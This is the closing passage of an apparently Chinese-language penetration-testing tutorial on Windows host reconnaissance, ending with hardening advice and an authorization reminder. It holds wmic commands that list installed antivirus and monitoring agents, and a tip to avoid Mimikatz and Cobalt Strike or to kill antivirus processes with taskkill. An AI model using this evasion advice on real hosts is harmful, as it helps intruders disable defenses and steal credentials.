    # 查看安装的杀毒软件
    wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname,productstate
    
    # 查看安装的所有软件(筛选包含“监控”或“Agent”的软件)
    wmic product get name | findstr /i "监控|Agent|Zabbix|Prometheus"
    
    输出结果:
    DisplayName              ProductState
    360安全卫士              262144  # 262144=启用状态
    火绒安全软件              262144
    
    Name
    Zabbix Agent 6.0.10
    Prometheus Windows Exporter
    阿里云监控Agent
    
  • 操作建议:若主机安装杀毒软件,需避免执行Mimikatzcobalt strike等敏感工具,可先通过taskkill终止杀毒软件进程(需管理员权限)。

第八章 信息收集总结与安全建议

8.1 信息收集流程梳理

  1. 基础信息摸底:主机名、系统版本、补丁状态→判断系统是否存在已知漏洞;
  2. 域环境判断:是否加入域、域控位置、域管理员→明确域内权限边界;
  3. 用户与权限核查:当前用户权限、本地管理员组、在线用户→识别权限滥用风险;
  4. 网络配置分析:IP、路由、端口、DNS→梳理网络访问范围和异常连接;
  5. 防火墙与安全配置:防火墙状态、规则、日志→确保网络防护有效;
  6. 敏感数据挖掘:密码、票据、特殊文件→获取核心凭证和业务数据;
  7. 内网存活主机探测:存活IP、核心设备→为横向渗透做准备。

8.2 安全加固建议

  1. 系统层面

    • 定期更新补丁(重点修复高危漏洞如MS17-010、CVE-2024-21303);
    • 禁用无用服务(如Telnet、FTP),限制RDP端口访问范围(仅允许内网IP);
    • 删除无人值守安装文件,避免残留密码。
  2. 域环境层面

    • 严格控制Domain Admins组成员,禁止普通用户加入;
    • 启用Kerberos AES加密,禁用RC4-HMAC(避免票据被破解);
    • 定期轮换域管理员密码,禁止密码复用。
  3. 网络层面

    • 防火墙入站规则仅开放必要端口(如80、443、3389仅限内网);
    • 启用防火墙日志审计,定期分析拦截记录;
    • 禁止主机访问境外恶意IP,通过白名单限制出网端口。
  4. 数据层面

    • 浏览器、应用程序禁止保存密码,使用企业密码管理器(如1Password);
    • 敏感文档加密存储(如Office文件密码保护、压缩包加密);
    • 代码中禁止硬编码密码,使用配置中心或环境变量存储敏感信息。

8.3 合规与法律风险提示

  • 合法授权:所有信息收集操作必须获得目标系统所有者的书面授权,严禁对未授权系统实施探测;
  • 数据保护:收集的敏感数据(如密码、票据)需加密存储,测试结束后立即删除,避免数据泄露;
  • 法律依据:遵守《网络安全法》《数据安全法》《刑法》第285条(非法侵入计算机信息系统罪)、第286条(破坏计算机信息系统罪),确保操作合法合规。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Flying_Fish_Xuan

你的鼓励将是我创作最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值